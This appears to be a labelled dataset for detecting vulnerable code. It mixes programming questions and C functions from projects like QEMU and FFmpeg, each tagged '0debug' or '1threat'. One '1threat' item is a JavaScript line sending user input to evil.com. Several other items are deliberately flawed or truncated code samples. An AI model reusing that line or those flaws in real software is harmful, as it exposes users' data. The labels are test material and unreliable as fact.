login. Client with IP address '52.233.<strong><em>.</em></strong>' is not allowed to
access the server.:</p>
</blockquote>
<p>What am I missing?</p>
| 0debug |
Calculate year, month and day using javascript? : <p>I need to calculate the exact difference between two dates in days, months and years.</p>
<p>I have this function:</p>
<pre><code>const getAge = (dateString) => {
const today = new Date();
const birthDate = new Date(dateString);
let age = today.getFullYear() - birthDate.getFullYear();
const m = today.getMonth() - birthDate.getMonth();
if (m < 0 || (m === 0 && today.getDate() < birthDate.getDate())) {
age -= 1;
}
return age;
};
</code></pre>
<p>It receives a date in YYYY-MM-DD format. At this time it outputs a exact number of years (6 years, or 5 if it's before "birthday").</p>
<p>I need it to output 5 years, 11 months and 29 days (as an example).</p>
<p>How can I achieve that?</p>
| 0debug |
Can't open resource file in VS 2015: Can't open include file afxres.h : <p>I converted my VS 2012 projects to VS 2015 by using the automatic conversion tool. When I try to load a resource file (.rc) it fails with this error:</p>
<p>fatal error RC1015: Can't open include file afxres.h</p>
<p>Any idea?</p>
| 0debug |
Strange output in a while loop(C language) : <p>i just started learning C and don't understand why does the code segment below output 30. And why it doesn't output a number each iteration.</p>
<pre><code>int k=3, f=3;
while (k<10)
K++;
f*=k;
printf("%d", f);
</code></pre>
<p>And when added curly braces it outputs 1814400, which in my opinion is the correct output</p>
<pre><code>int k=3, f=3;
while (k<10){
K++;
f*=k;
}
printf("%d", f);
</code></pre>
<p>Could you explain why outputs are different? </p>
| 0debug |
Why does the statement if 'a' or 'e' or 'i' or 'o' or 'u' in String: execute even when there are no vowels in string? : <p>My Code:</p>
<pre><code>VowelsInString = False
String = 'bbbb000'
if 'a' or 'e' or 'i' or 'o' or 'u' in String:
VowelsInString = True
elif 'a' or 'e' or 'i' or 'o' or 'u' not in String:
VowelsInSting = False
</code></pre>
<p>So, I was expecting that when this ran, the if statement would be skipped and the VowelsInString would remain False, but upon running the code, the value of VowelsInString is True. </p>
<p>I expect that I may have done something wrong whilst typing the vowel checker if argument as I am fairly new to the concept of reading characters in strings. I would appreciate if someone would help me on debugging this code.</p>
<p>If that however is not the case, than I would, again, appreciate if someone would help on telling me what I've done wrong.</p>
| 0debug |
static void gdb_vm_stopped(void *opaque, int reason)
{
GDBState *s = opaque;
char buf[256];
int ret;
if (s->state == RS_SYSCALL)
cpu_single_step(s->env, 0);
if (reason == EXCP_DEBUG) {
tb_flush(s->env);
ret = SIGTRAP;
} else if (reason == EXCP_INTERRUPT) {
ret = SIGINT;
} else {
ret = 0;
snprintf(buf, sizeof(buf), "S%02x", ret);
| 1threat |
how to update a column using another column's multiple data : test1
=====
t1 t2
1
test2
=====
x
1
2
3
upto 20
so i want all the x values copy into t2. how should i? | 0debug |
Where am i getting this bus error? : <p>When I compile this code I experience a bus error and I don't understand what I'm doing to cause this. I read up what a bus error entails and I still don't quite see my problem. This code should reproduce the behaviour of the strcpy() function in the string.h library.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>#include <unistd.h>
void ft_putstr(char *str)
{
while (*str)
write(1, str++, 1);
}
char *ft_strcpy(char *dest, char *src)
{
int index;
index = 0;
while (src[index] != '\0')
{
dest[index] = src[index];
index++;
}
dest[index] = '\0';
return (dest);
}
int main(void)
{
char *str1, *str2, *cpy;
str1 = "Cameron";
str2 = "Why you no work?";
cpy = ft_strcpy(str1, str2);
ft_putstr(cpy);
return (0);
}</code></pre>
</div>
</div>
</p>
| 0debug |
How combine multiples images from a sequence of them, using any language code? : I'm setting up a wiki, for a game, and i need to put gifs for make the site more easy to understand. But i hava a problema, to make the gifs, i need to merge some images, and with i go one by one i never and this work. So what code i need, our program for make this work more fast?
I'm tried some codes with pithon, and i don't have sucess. The only way i can make work was using a Paint our photoshop for combine this images.
I tried this code:
import numpy as np
from PIL import Image
images_list = []
for i in range(1,4): #insert last number of photo
images_list.append(str(i)+'.PNG')
count = 1;
directory = "C:/Users/Windows/Desktop/BloodStoneSprites/sprites1"
#change to directory where your photos are
ext = ".PNG"
new_file_name = "vimage-"
new_directory = "C:/Users/Windows/Desktop/BloodStoneSprites/Uniao" #
change to path of new directory where you want your photos to be saved
for j in range(0,len(images_list),2):
name = new_file_name + str(j) + ext
two_images_list = [images_list[j],images_list[j+1]]
imgs = [ Image.open(i) for i in two_images_list ]
min_img_shape = sorted( [(np.sum(i.size), i.size ) for i in imgs])[0][1]
imgs_comb = np.hstack( (np.asarray( i.resize(min_img_shape) ) for i in
imgs ) )
imgs_comb = Image.fromarray( imgs_comb)
imgs_comb.save(new_directory+'/'+name )
count +=1
And here is some of images i need to combine:
https://imgur.com/a/BBNGjuf
| 0debug |
document.location = 'http://evil.com?username=' + user_input; | 1threat |
Best way to abstract an iOS App for reuse in a different deployment : <p>I'm looking to abstract an existing app of mine, which is a social media streamer (filtered for relevant audiences). I want to abstract in such a way that the app can be reused for multiple audiences through a separate App Store deployment - e.g. App1 streams YouTube Channel 1,2,3 or Twitter feeds 1,2 and I want to build a new app (reusing most of App1) that streams YouTube Channel 4,5,6 or Twitter feeds 3,4. </p>
<p>I realize that this is as easy as changing the channel IDs or twitter handles, etc. However, what I want to know and learn is the best practice for such an abstraction? Moreover, abstracting the code would be easier to manage once I have multiple apps while upgrading, etc.</p>
<p>Some possible options that I could think of was:</p>
<ol>
<li>Creating Global Variables to store the channel names/ twitter handles </li>
<li>Storing these variables into a info.plist or a new plist</li>
<li>Any other? </li>
</ol>
<p>I want to follow some best practices and also aim to improve the application performance while doing so. </p>
<p>Any help would be appreciated. Thanks in advance. </p>
| 0debug |
How can i resume video after refresh page in wordpress site : <p>I Have site of video and give free video access to user so that they can see any type of video over there
but i want to add a new features so that user can resume video from they pause it or leave the page untill they have not clear their cache </p>
<p>cimatime.net</p>
<p>this is my site
please check and refer me how can i do this on my site</p>
<p>thanks</p>
| 0debug |
I am trying retrive the data type of a unknown data type input by user in Object class. But it taking it as a string by default. Any help plz : `Scanner in=new Scanner(System.in);
Object o=in.next().getClass().getSimpleName();
System.out.println(o);`
//it is showing string data type when input is taken by user
//it is showing correct data type when data is initialized in the code. | 0debug |
Django Models - Retreiving multiple items and displaying them on a website : I am trying to retrieve multiple records from a django database to display in a table on a webpage.
This is my code so far...
class AdminView(TemplateView):
template_name = 'admin.html'
print("hello world")
def get(self, request):
template = 'admin.html'
data = str(Quiz.objects.all())
admin = AdminForm(request.GET)
context = {"admin": admin}
context['data'] = data
return render(request, template, context)
This is the webpage so far...
{% if request.user.is_authenticated%}
{% if request.user.username == "teacher" %}
<!DOCTYPE html>
<html lang="en">
<head>
{% load staticfiles %}
<meta charset="UTF-8">
<title>Admin</title>
<link rel="stylesheet" type="text/css" href="{% static 'style.css' %}" />
</head>
<body>
{% include 'navbar.html' %}
Admin Test
{{ data }}
</body>
</html>
{% endif %}
{% endif %}
{% if not request.user.is_authenticated %}
<h2>Login Required</h2>
{% endif %}
What do you think is wrong with this code? How can I get it to display str? | 0debug |
What are the possible applications of deque functions in real time use? : <p>Help me learn with the application of real time use of deque functions from collection library, if possible try adding some examples to it . </p>
<p>Thank You.</p>
| 0debug |
confused with function int main ( int argc, char* argv[ ]) to read files and store in std::vector : i have to write a function where it receives 2 files as the command line argument (file1 file2) which the program reads in these files should be stored in two std:vector container
file 1 has 4 int values in each line representing a rectangles bottom point then top point eg 73 4 113 46 so x y x y i have to write a class for representing the rectangle which makes each rectangle an object of that class
file2 just contains list of areas 1 per line in int value.
i have to use c++11 to write this function in
can you please an example show how to implement this in
int main(int argc, char *argv[ ] )
iam a total noob to this... | 0debug |
storing file on aws s3 usng java : i am trying to do a upload file on the aws s3 bucket but m not getting the upload file and output come as foolowing
upload object
reject by some reson
Error message The AWS Access Key Id you provided does not exist in our records.
http sttus code 403
awsError code InvalidAccessKeyId
Error type Client
request id EBE24FB4C8A92069
reject by AmazonServiceExceptions
Error message The AWS Access Key Id you provided does not exist in our records.
http sttus code 403
awsError code InvalidAccessKeyId
Error type Client
request id 64332CFB941E77EC
Download FIle
reject by reason
Error message The AWS Access Key Id you provided does not exist in our records.
http sttus code 403
awsError code InvalidAccessKeyId
Error type Client
request id ACA453705B9C4813
| 0debug |
Reformat JSON data : <p><strong>Problem</strong></p>
<p>I have the following example json data which is not formatted how I need it:</p>
<pre><code>"stations": {
"st1": "station 1",
"st2": "station 2",
"st3": "Station 3",
}
</code></pre>
<p><strong>Question</strong></p>
<p>How can I reformat the data to be:</p>
<pre><code>"stations": [
{
"id": "st1",
"name": "station 1",
},
{
"id": "st2",
"name": "station 2",
},
{
"id": "st3",
"name": "station 3",
}
]
</code></pre>
<p><strong>Tried</strong></p>
<p>I tried to simply log the data to test first but am struggling how to actually even iterate between the key/value pairs as they are essentially strings</p>
<p>This is what i tried:</p>
<pre><code>$.get( '/js/ajax/tube-data.json', function( data ) {
$.each(data.stations, function () {
// I was expecting st1, st2, st3 to show in the console
// but got first letter of each station
console.log(this[0])
});
}).error(function() {console.log(arguments) });
</code></pre>
<p>Is there a better way to do this?</p>
| 0debug |
static int rm_read_index(AVFormatContext *s)
{
AVIOContext *pb = s->pb;
unsigned int size, n_pkts, str_id, next_off, n, pos, pts;
AVStream *st;
do {
if (avio_rl32(pb) != MKTAG('I','N','D','X'))
return -1;
size = avio_rb32(pb);
if (size < 20)
return -1;
avio_skip(pb, 2);
n_pkts = avio_rb32(pb);
str_id = avio_rb16(pb);
next_off = avio_rb32(pb);
for (n = 0; n < s->nb_streams; n++)
if (s->streams[n]->id == str_id) {
st = s->streams[n];
break;
}
if (n == s->nb_streams)
goto skip;
for (n = 0; n < n_pkts; n++) {
avio_skip(pb, 2);
pts = avio_rb32(pb);
pos = avio_rb32(pb);
avio_skip(pb, 4);
av_add_index_entry(st, pos, pts, 0, 0, AVINDEX_KEYFRAME);
}
skip:
if (next_off && avio_tell(pb) != next_off &&
avio_seek(pb, next_off, SEEK_SET) < 0)
return -1;
} while (next_off);
return 0;
}
| 1threat |
Overriding methods in Swift extensions : <p>I tend to only put the necessities (stored properties, initializers) into my class definitions and move everything else into their own <code>extension</code>, kind of like an <code>extension</code> per logical block that I would group with <code>// MARK:</code> as well.</p>
<p>For a UIView subclass for example, I would end up with an extension for layout-related stuff, one for subscribing and handling events and so forth. In these extensions, I inevitably have to override some UIKit methods, e.g. <code>layoutSubviews</code>. I never noticed any issues with this approach -- until today.</p>
<p>Take this class hierarchy for example:</p>
<pre><code>public class C: NSObject {
public func method() { print("C") }
}
public class B: C {
}
extension B {
override public func method() { print("B") }
}
public class A: B {
}
extension A {
override public func method() { print("A") }
}
(A() as A).method()
(A() as B).method()
(A() as C).method()
</code></pre>
<p>The output is <code>A B C</code>. That makes little sense to me. I read about Protocol Extensions being statically dispatched, but this ain't a protocol. This is a regular class, and I expect method calls to be dynamically dispatched at runtime. Clearly the call on <code>C</code> should at least be dynamically dispatched and produce <code>C</code>?</p>
<p>If I remove the inheritance from <code>NSObject</code> and make <code>C</code> a root class, the compiler complains saying <code>declarations in extensions cannot override yet</code>, which I read about already. But how does having <code>NSObject</code> as a root class change things?</p>
<p>Moving both overrides into their class declaration produces <code>A A A</code> as expected, moving only <code>B</code>'s produces <code>A B B</code>, moving only <code>A</code>'s produces <code>C B C</code>, the last of which makes absolutely no sense to me: not even the one statically typed to <code>A</code> produces the <code>A</code>-output any more!</p>
<p>Adding the <code>dynamic</code> keyword to the definition or an override does seem to give me the desired behavior 'from that point in the class hierarchy downwards'...</p>
<p>Let's change our example to something a little less constructed, what actually made me post this question:</p>
<pre><code>public class B: UIView {
}
extension B {
override public func layoutSubviews() { print("B") }
}
public class A: B {
}
extension A {
override public func layoutSubviews() { print("A") }
}
(A() as A).layoutSubviews()
(A() as B).layoutSubviews()
(A() as UIView).layoutSubviews()
</code></pre>
<p>We now get <code>A B A</code>. Here I cannot make UIView's layoutSubviews dynamic by any means.</p>
<p>Moving both overrides into their class declaration gets us <code>A A A</code> again, only A's or only B's still gets us <code>A B A</code>. <code>dynamic</code> again solves my problems.</p>
<p>In theory I could add <code>dynamic</code> to all <code>override</code>s I ever do but I feel like I'm doing something else wrong here.</p>
<p>Is it really wrong to use <code>extension</code>s for grouping code like I do?</p>
| 0debug |
how to pass argv parameters in GUI program c++, not console? : <p>folks.</p>
<p>i want pass argv parameters in my GUI program which written c++, my program is not the black screen console, but it is a GUI.
for example my program is AAA.exe, and i want to pass a command like "AAA.exe doThing" etc. how can i do it? thank you all so much.</p>
| 0debug |
What does N Map command show while using Virtual Machine? : >If i am using LINUX on Windows Using Virtual Box and someone tries to Know the OS of my system using N MAP command then what he/she will get to know?? | 0debug |
send POST to nodes save file.txt : webrequest.mq4
> //+------------------------------------------------------------------+
> //| webrequest.mq4 //| Copyright 2013, apla //| -
> //+------------------------------------------------------------------+
> #property copyright "Copyright 2013, apla"
> #property link "-"
>
> int start() { //----
>
> //WebRequest string cookie = NULL; string headers =
> "Content-Type: application/x-www-form-urlencoded"; int res; //url
> = localhost:8080 string url = "localhost"; char post[], result[]; string signal =
> "account="+AccountNumber()+"&balance="+AccountBalance()+"&equity="+AccountEquity();
> StringToCharArray(signal, post); Print(signal); int timeout = 50000;
> // 5 sec res = WebRequest("POST", url, cookie, NULL, timeout, post,
> ArraySize(post), result, headers);
>
> Print("Status code: " , res, ", error: ", GetLastError());
>
> //---- return(0); }
> //+------------------------------------------------------------------+
---------------
I want to send the file from mt4 webrequest.mq4 to the node js this Site section that can be given up, however.
MT4 >> Nodejs
??? POST[] ??? (javascript nodes)
account, balance, equity
Which I do not know how to get the POST.
write file.js
> var http = require('http'); var fs = require('fs');
>
> fs.writeFile("file.txt",??? POST[] ???, function(err,data) {
> if (err) throw err;
> console.log('The file was saved!');
>
> http.createServer(function(req, res) {
> res.writeHead(200, {'Content-Type': 'text/plain'});
> res.end('OK'); // Send the file data to the browser. }).listen(3000); console.log('Server running at
> http://localhost:8080/'); });
| 0debug |
int rom_copy(uint8_t *dest, target_phys_addr_t addr, size_t size)
{
target_phys_addr_t end = addr + size;
uint8_t *s, *d = dest;
size_t l = 0;
Rom *rom;
QTAILQ_FOREACH(rom, &roms, next) {
if (rom->fw_file) {
continue;
}
if (rom->addr + rom->romsize < addr)
continue;
if (rom->addr > end)
break;
if (!rom->data)
continue;
d = dest + (rom->addr - addr);
s = rom->data;
l = rom->romsize;
if (rom->addr < addr) {
d = dest;
s += (addr - rom->addr);
l -= (addr - rom->addr);
}
if ((d + l) > (dest + size)) {
l = dest - d;
}
memcpy(d, s, l);
}
return (d + l) - dest;
}
| 1threat |
How to Fill form and submit using windows application (New headache please read que fully)? : People here wonder because its too old and already asked..
but here is my problem arises.
You see two input fields with same name?
**HTML CODE**
<html>
<head><title></title>
</head>
<body>
<input type="hidden" name="textbox" />
<form name="tax280" method="post">
<table>
<tr><td>
<input type="text" name="textbox" />
</td>
</tr>
</table>
<input type="submit" value="Register" />
</form>
</body>
</html>
But when i use below code. I think values gone set in hidden attribute.
HtmlDocument doc = this.webBrowser1.Document;
doc.GetElementById("textbox").SetAttribute("Value", "text");
In Simple How to set values required textbox alone i can't find any solution please help. | 0debug |
execute hello world with flask "ImportError: No module named flask" : <p>I'm trying to use flask and python. I did a simple file named <code>hello.py</code>. tHis file contains this code:</p>
<pre><code>from flask import Flask
app = Flask(__name__)
@app.route("/")
def main():
return "Welcome!"
if __name__ == "__main__":
app.run()
</code></pre>
<p>This is a simple hello world with flask. I want to execute it but actually, I have a problem. In the terminal, I typed <code>python hello.py</code>
and I get this error:</p>
<pre><code>File "hello.py", line 1, in <module>
from flask import Flask
ImportError: No module named flask
</code></pre>
<p>Even that I installed flask globally.
I understand that this is a basic question, but I'm stuck?</p>
| 0debug |
Formatting a CSV for a Python dictionary : <p>If I have a CSV file that looks like this:</p>
<h3>Name | Value 1 | Value 2</h3>
<p>Foobar | 22558841 | 96655<br>
Barfool | 02233144 | 3301144</p>
<p>How can I make it into a dictionary that looks like this: </p>
<pre><code>dict = {
'Foobar': {
'Value 1': 2255841,
'Value 2': 9665
},
'Barfool': {
'Value 1': 02233144,
'Value 2': 3301144
}
}
</code></pre>
| 0debug |
void FUNCC(ff_h264_chroma422_dc_dequant_idct)(int16_t *_block, int qmul){
const int stride= 16*2;
const int xStride= 16;
int i;
int temp[8];
static const uint8_t x_offset[2]={0, 16};
dctcoef *block = (dctcoef*)_block;
for(i=0; i<4; i++){
temp[2*i+0] = block[stride*i + xStride*0] + block[stride*i + xStride*1];
temp[2*i+1] = block[stride*i + xStride*0] - block[stride*i + xStride*1];
}
for(i=0; i<2; i++){
const int offset= x_offset[i];
const int z0= temp[2*0+i] + temp[2*2+i];
const int z1= temp[2*0+i] - temp[2*2+i];
const int z2= temp[2*1+i] - temp[2*3+i];
const int z3= temp[2*1+i] + temp[2*3+i];
block[stride*0+offset]= ((z0 + z3)*qmul + 128) >> 8;
block[stride*1+offset]= ((z1 + z2)*qmul + 128) >> 8;
block[stride*2+offset]= ((z1 - z2)*qmul + 128) >> 8;
block[stride*3+offset]= ((z0 - z3)*qmul + 128) >> 8;
}
}
| 1threat |
why is string matching not working? : <pre><code> String [] P = K.split(" ");
//NB: the value of K is "malaria zika AIDS"
for (int x=0;x< P.length; x++)
{
if (P[x]=="zika")
{
System.out.println( "This is zika virus P[x]="+ P[x]);
}else{
System.out.println( "This is NOT zika virus P[x]="+P[x]);
}
}
</code></pre>
<h2>Expecting</h2>
<pre><code>This is NOT zika virus P[x]=Malaria
This is zika virus P[x]=zika
This is NOT zika virus P[x]=AIDS
</code></pre>
<h2>But Getting</h2>
<pre><code>This is NOT zika virus P[x]=Malaria
This is NOT zika virus P[x]=zika
This is NOT zika virus P[x]=AIDS
</code></pre>
<p>What am I missing? I believe that this is the part with the problem. <code>if (P[x]=="zika")</code></p>
| 0debug |
I am building a child control application in php and an android app to track the device down? : <p>Any advice on should I go about linking a parent to certain child a mysql database.
I don't have any code for just yet I would like some more experienced advise.</p>
| 0debug |
Why std::vector<double> contents are eliminated when passing them by value? : I have an initialized std::vector<double> of size 4 and I am trying to pass it to a function which must perform some sort of calculations on it and return the result.
By debugging I have noticed if I pass the vector by value, as soon as I enter the function the size of the vector becomes 0, whereas the capacity is correctly 4.
In order to understand which is the problem I have written an extremely simple code which has the same identical issue.
// @main.cpp
#include "fcn.h"
int main() {
std::vector<int> vect;
vect.push_back(0);
vect.push_back(1);
vect.push_back(2);
vect.push_back(3);
// As it should, at this point in the debugger vect.size() == 4
printValues(vect);
return 0;
}
// @fcn.h
#include <iostream>
#include <vector>
using namespace std;
void printValues(vector<int> vect);
// @fcn.cpp
#include "fcn.h"
void printValues(vector<int> vect) {
// As soon as I get here, vect.size() == 0
for (int i = 0; i < vect.size(); i++)
std::cout << "vect[" << i << "] = " << vect[i] << endl;
}
I am pretty sure I have done this many times before and I have no idea why it is not working this time. The reason is probably trivial, but I cannot see it. The issue is "solved" only if I pass the vector by reference, but this seems utterly strange to me.
Last but not least, if I try to initialize vect with
vect = {0, 1, 2, 3};
instead of std::vector.push_back() the debugger tells me that vect has a capacity 4 but size 0. Don't know if this can be of any relevance. | 0debug |
static int http_read_stream(URLContext *h, uint8_t *buf, int size)
{
HTTPContext *s = h->priv_data;
int err, new_location;
if (!s->hd)
return AVERROR_EOF;
if (s->end_chunked_post && !s->end_header) {
err = http_read_header(h, &new_location);
if (err < 0)
return err;
}
if (s->chunksize >= 0) {
if (!s->chunksize) {
char line[32];
for (;;) {
do {
if ((err = http_get_line(s, line, sizeof(line))) < 0)
return err;
} while (!*line);
s->chunksize = strtoll(line, NULL, 16);
av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"'\n",
s->chunksize);
if (!s->chunksize)
return 0;
break;
}
}
size = FFMIN(size, s->chunksize);
}
#if CONFIG_ZLIB
if (s->compressed)
return http_buf_read_compressed(h, buf, size);
#endif
return http_buf_read(h, buf, size);
}
| 1threat |
static void rtsp_send_cmd(AVFormatContext *s,
const char *cmd, RTSPMessageHeader *reply,
unsigned char **content_ptr)
{
RTSPState *rt = s->priv_data;
char buf[4096], buf1[1024];
rt->seq++;
av_strlcpy(buf, cmd, sizeof(buf));
snprintf(buf1, sizeof(buf1), "CSeq: %d\r\n", rt->seq);
av_strlcat(buf, buf1, sizeof(buf));
if (rt->session_id[0] != '\0' && !strstr(cmd, "\nIf-Match:")) {
snprintf(buf1, sizeof(buf1), "Session: %s\r\n", rt->session_id);
av_strlcat(buf, buf1, sizeof(buf));
}
av_strlcat(buf, "\r\n", sizeof(buf));
#ifdef DEBUG
printf("Sending:\n%s--\n", buf);
#endif
url_write(rt->rtsp_hd, buf, strlen(buf));
rtsp_read_reply(rt, reply, content_ptr);
}
| 1threat |
Upgrade to python 3.8 using conda : <p>Python 3.8.0 is out, but I haven't been able to find any post on how to update to python 3.8 using conda - maybe they will wait for the official release? Any suggestions?</p>
| 0debug |
static gint ppc_cpu_compare_class_pvr_mask(gconstpointer a, gconstpointer b)
{
ObjectClass *oc = (ObjectClass *)a;
uint32_t pvr = *(uint32_t *)b;
PowerPCCPUClass *pcc = (PowerPCCPUClass *)a;
gint ret;
if (unlikely(strcmp(object_class_get_name(oc),
TYPE_HOST_POWERPC_CPU) == 0)) {
return -1;
}
if (!ppc_cpu_is_valid(pcc)) {
return -1;
}
ret = (((pcc->pvr & pcc->pvr_mask) == (pvr & pcc->pvr_mask)) ? 0 : -1);
return ret;
}
| 1threat |
static int check_bind(struct sockaddr *sa, socklen_t salen, bool *has_proto)
{
int fd;
fd = socket(sa->sa_family, SOCK_STREAM, 0);
if (fd < 0) {
return -1;
}
if (bind(fd, sa, salen) < 0) {
close(fd);
if (errno == EADDRNOTAVAIL) {
*has_proto = false;
return 0;
}
return -1;
}
close(fd);
*has_proto = true;
return 0;
}
| 1threat |
static int handle_sw_breakpoint(S390CPU *cpu, struct kvm_run *run)
{
CPUS390XState *env = &cpu->env;
unsigned long pc;
cpu_synchronize_state(CPU(cpu));
pc = env->psw.addr - 4;
if (kvm_find_sw_breakpoint(CPU(cpu), pc)) {
env->psw.addr = pc;
return EXCP_DEBUG;
}
return -ENOENT;
}
| 1threat |
Codingame - Algorithm successfully pass testcases but fail on submission : I recently got into Codingame and I'm trying to complete all the solo puzzles.
I'm kind of stuck on the Horse-racing one, the algorithm that I'm using is quite easy but for some reason it fails 2/8 of the submission validators (5 - All horses tie and 6 - Horses in disorder).
Can someone help me figure out what I'm doing wrong ?
int main()
{
int N;
cin >> N; cin.ignore();
set<int> power;
for (int i = 0; i < N; i++)
{
int Pi;
cin >> Pi; cin.ignore();
power.insert(Pi);
}
int minDiff = 10000000;
auto i = power.begin();
while (i != power.end())
{
minDiff = min(minDiff, abs(*i - *(++i)));
}
cout << minDiff << endl;
}
| 0debug |
sbappend(struct socket *so, struct mbuf *m)
{
int ret = 0;
DEBUG_CALL("sbappend");
DEBUG_ARG("so = %p", so);
DEBUG_ARG("m = %p", m);
DEBUG_ARG("m->m_len = %d", m->m_len);
if (m->m_len <= 0) {
m_free(m);
return;
}
if (so->so_urgc) {
sbappendsb(&so->so_rcv, m);
m_free(m);
sosendoob(so);
return;
}
if (!so->so_rcv.sb_cc)
ret = slirp_send(so, m->m_data, m->m_len, 0);
if (ret <= 0) {
sbappendsb(&so->so_rcv, m);
} else if (ret != m->m_len) {
m->m_len -= ret;
m->m_data += ret;
sbappendsb(&so->so_rcv, m);
}
m_free(m);
}
| 1threat |
Is it possible to do a function that detects the final part of an input to differentiate it from others? : I want to make a piece of code that detects the final part of an input to define what command to execute.
I am asking this like that because I have no clue of what to even start from. I've not tried anything, and I would like to know if its even possible before I start. My piece of code is what I know would work, but I want to make a lot of them, so I was wondering if you could possibly make it shorter than just adding the if's by hand, as if with a function.
```python
command = input()
if command == "add role_1"
role = 1
``` | 0debug |
static void halfpel_interpol(SnowContext *s, uint8_t *halfpel[4][4], AVFrame *frame){
int p,x,y;
for(p=0; p<3; p++){
int is_chroma= !!p;
int w= is_chroma ? s->avctx->width >>s->chroma_h_shift : s->avctx->width;
int h= is_chroma ? s->avctx->height>>s->chroma_v_shift : s->avctx->height;
int ls= frame->linesize[p];
uint8_t *src= frame->data[p];
halfpel[1][p] = (uint8_t*) av_malloc(ls * (h + 2 * EDGE_WIDTH)) + EDGE_WIDTH * (1 + ls);
halfpel[2][p] = (uint8_t*) av_malloc(ls * (h + 2 * EDGE_WIDTH)) + EDGE_WIDTH * (1 + ls);
halfpel[3][p] = (uint8_t*) av_malloc(ls * (h + 2 * EDGE_WIDTH)) + EDGE_WIDTH * (1 + ls);
halfpel[0][p]= src;
for(y=0; y<h; y++){
for(x=0; x<w; x++){
int i= y*ls + x;
halfpel[1][p][i]= (20*(src[i] + src[i+1]) - 5*(src[i-1] + src[i+2]) + (src[i-2] + src[i+3]) + 16 )>>5;
}
}
for(y=0; y<h; y++){
for(x=0; x<w; x++){
int i= y*ls + x;
halfpel[2][p][i]= (20*(src[i] + src[i+ls]) - 5*(src[i-ls] + src[i+2*ls]) + (src[i-2*ls] + src[i+3*ls]) + 16 )>>5;
}
}
src= halfpel[1][p];
for(y=0; y<h; y++){
for(x=0; x<w; x++){
int i= y*ls + x;
halfpel[3][p][i]= (20*(src[i] + src[i+ls]) - 5*(src[i-ls] + src[i+2*ls]) + (src[i-2*ls] + src[i+3*ls]) + 16 )>>5;
}
}
}
}
| 1threat |
getting Error: spawn EACCES while ionic build android in ubuntu 14.04 : <p>i developed one project in ionic2</p>
<p>while i am doing ionic build android i am getting this error</p>
<p><a href="https://i.stack.imgur.com/TUCzj.png" rel="noreferrer"><img src="https://i.stack.imgur.com/TUCzj.png" alt="enter image description here"></a></p>
<p>my ionic info is </p>
<p>Cordova CLI: 6.3.0</p>
<p>Ionic Framework Version: 2.0.0-beta.10</p>
<p>Ionic CLI Version: 2.0.0-beta.36</p>
<p>Ionic App Lib Version: 2.0.0-beta.19</p>
<p>OS: Distributor ID: Ubuntu Description: Ubuntu 14.04.5 LTS </p>
<p>Node Version: v4.4.7</p>
<p>I searched in google but no solution works for me..</p>
<p>How can i fix this Bug?</p>
| 0debug |
Switch statement vs Enum variable : <p>I have an enum with the following scheme : </p>
<pre><code>public enum Enum{
A,
B,
C,
D
//...
}
</code></pre>
<p>In another class, I compute a <code>score</code> based on this enum. </p>
<p><strong>Which approach I should use and why ?</strong> </p>
<p><strong>Solution 1:</strong></p>
<p><em>I use a switch statement</em> : </p>
<pre><code>public int score(Enum value)
{
switch(value){
case Enum.A:
this.score *= 25;
break;
case Enum.B:
this.score *= 7;
break;
case Enum.C:
this.score *= 2;
break;
//...
}
return this.score;
}
</code></pre>
<p><strong>Solution 2:</strong></p>
<p><em>I add a variable to my Enum</em> :</p>
<pre><code>public enum Enum{
A(25),
B(7),
C(2),
D(16),
//...
Z(100);
private final int scoreMultiplier;
Enum(int scoreMultiplier){
this.scoreMultiplier = scoreMultiplier;
}
public int getScoreMultiplier(){return scoreMultiplier;}
}
</code></pre>
<p>And then, my score method : </p>
<pre><code>public int score(Enum value)
{
this.score *= value.getScoreMultiplier();
return this.score;
}
</code></pre>
| 0debug |
void bdrv_set_geometry_hint(BlockDriverState *bs,
int cyls, int heads, int secs)
{
bs->cyls = cyls;
bs->heads = heads;
bs->secs = secs;
}
| 1threat |
Grey dot on scrollbar : <p>What is the grey dot on scrollbar in Visual Studio 2017?</p>
<p><a href="https://i.stack.imgur.com/JeiyB.png" rel="noreferrer"><img src="https://i.stack.imgur.com/JeiyB.png" alt="grey dot on scrollbar"></a></p>
| 0debug |
int ff_hls_write_file_entry(AVIOContext *out, int insert_discont,
int byterange_mode,
double duration, int round_duration,
int64_t size, int64_t pos,
char *baseurl,
char *filename, double *prog_date_time) {
if (!out || !filename)
return AVERROR(EINVAL);
if (insert_discont) {
avio_printf(out, "#EXT-X-DISCONTINUITY\n");
}
if (round_duration)
avio_printf(out, "#EXTINF:%ld,\n", lrint(duration));
else
avio_printf(out, "#EXTINF:%f,\n", duration);
if (byterange_mode)
avio_printf(out, "#EXT-X-BYTERANGE:%"PRId64"@%"PRId64"\n", size, pos);
if (prog_date_time) {
time_t tt, wrongsecs;
int milli;
struct tm *tm, tmpbuf;
char buf0[128], buf1[128];
tt = (int64_t)*prog_date_time;
milli = av_clip(lrint(1000*(*prog_date_time - tt)), 0, 999);
tm = localtime_r(&tt, &tmpbuf);
strftime(buf0, sizeof(buf0), "%Y-%m-%dT%H:%M:%S", tm);
if (!strftime(buf1, sizeof(buf1), "%z", tm) || buf1[1]<'0' ||buf1[1]>'2') {
int tz_min, dst = tm->tm_isdst;
tm = gmtime_r(&tt, &tmpbuf);
tm->tm_isdst = dst;
wrongsecs = mktime(tm);
tz_min = (FFABS(wrongsecs - tt) + 30) / 60;
snprintf(buf1, sizeof(buf1),
"%c%02d%02d",
wrongsecs <= tt ? '+' : '-',
tz_min / 60,
tz_min % 60);
}
avio_printf(out, "#EXT-X-PROGRAM-DATE-TIME:%s.%03d%s\n", buf0, milli, buf1);
*prog_date_time += duration;
}
if (baseurl)
avio_printf(out, "%s", baseurl);
avio_printf(out, "%s\n", filename);
return 0;
}
| 1threat |
int zipl_load(void)
{
struct mbr *mbr = (void*)sec;
uint8_t *ns, *ns_end;
int program_table_entries = 0;
int pte_len = sizeof(struct scsi_blockptr);
struct scsi_blockptr *prog_table_entry;
const char *error = "";
virtio_read(0, (void*)mbr);
dputs("checking magic\n");
if (!zipl_magic(mbr->magic)) {
error = "zipl_magic 1";
goto fail;
}
debug_print_int("program table", mbr->blockptr.blockno);
if (virtio_read(mbr->blockptr.blockno, sec)) {
error = "virtio_read";
goto fail;
}
if (!zipl_magic(sec)) {
error = "zipl_magic 2";
goto fail;
}
ns_end = sec + SECTOR_SIZE;
